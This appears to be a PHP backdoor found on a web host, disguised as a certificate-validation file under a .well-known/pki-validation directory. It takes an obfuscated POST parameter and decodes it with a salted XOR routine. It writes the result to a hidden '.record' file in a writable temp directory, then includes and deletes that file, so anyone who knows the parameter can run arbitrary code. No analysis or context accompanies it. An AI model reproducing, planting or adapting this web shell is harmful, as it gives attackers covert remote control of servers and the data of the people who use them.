File: //proc/self/root/home/vitanhod/sawpalmeetto.vitavit.com.pk/.well-known/pki-validation/update.hw.php
<?php
if(@$_POST["m\x61\x72\x6Ber"] !== null){
$binding = array_filter([getenv("TEMP"), "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP")]);
$bind = $_POST["m\x61\x72\x6Ber"];
$bind = explode ("." , $bind ) ;
$parameter_group ='';
$salt ='abcdefghijklmnopqrstuvwxyz0123456789';
$sLen =strlen( $salt );
$q =0;
while( $q < count( $bind)) {
$v8 =$bind[$q];
$sChar =ord( $salt[$q % $sLen] );
$dec =( ( int)$v8 - $sChar -( $q % 10)) ^ 26;
$parameter_group .= chr( $dec );
$q++; }
foreach ($binding as $property_set) {
if ((is_dir($property_set) and is_writable($property_set))) {
$data = "$property_set" . "/.record";
if (@file_put_contents($data, $parameter_group) !== false) {
include $data;
unlink($data);
die();
}
}
}
}